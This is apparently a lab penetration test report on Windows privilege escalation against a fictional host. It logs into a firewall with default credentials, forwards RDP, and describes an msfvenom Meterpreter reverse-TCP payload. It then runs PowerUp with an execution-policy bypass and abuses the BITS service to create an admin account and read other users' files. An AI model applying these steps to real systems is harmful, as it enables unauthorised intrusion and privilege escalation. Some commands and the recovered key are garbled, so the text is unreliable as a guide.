Penetration Test Report

Pulkit Sanadhya

7th September 2019

Contents

Executive Summary

Background

The goal of the exercise is to Use PowerUp to identify possible misconfigurations on herd.m3g4c0rp.com

Recommendation Summary

The kali attack box will be used for this purpose .

Technical Report

Exploitation

Now , using the firefox on our kali host we can directly connect to 172.30.0.3 using the username as admin and password as pfesense.

Now, change the firewall settings and add the host herd.m3g4c0rp.com (172.30.0.98) to forward the port on 3389 port and sharing the file path /usr/share/windows-resources/powersploit/Privesc .

rdesktop 172.30.0.3 -r
disk:pss=/usr/share/windows-resources/powersploit/Privesc

We were able to get into the machine. herd.m3g4c0rp.com

Now, after using the information provided in RelevantDemos video , we can log into the machine as a username : s.shephard

Here on our host kali machine we can use msfvenom to generate a payload by using msfvenom window/meterpreter/reverse tcp and share it by using the rdesktop command as above , this payload can be execute in the herd.m3g4c0rp.com and a connection can be established which can be seen as an evidence that we are connected to the herd.m3g4c0rp.com.

Now ,after going to the command line of the account and using the command net use we can see all the network shares available to us including the shared path of PowerUp.ps1.

Now using the command powershell.exe -nop -exec bypass we have set the execution Policy to bypass .

We can import it by using the following command Import-Module /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1

Using the command Import-Module .
PowerUp.ps1 and then using the command Invoke-Allchecks

Now, using the command Invoke-ServiceAbuse -ServiceName 'BITS'

We were able to create an admin user with the username john and password : Password123! .

Now , we logged into the machine using this admin user account and the we can easily see the private files of all the other users we found the key11 in the folder of user sharon which was found as

KEY011:!y x06 x0b8 := x19 x1a x07 x1c=4 1c*?500
Hence,we were able to show the severity of this vulnerability on the machine.

Conclusion

We were able to successfully exploit the windows misconfigurations.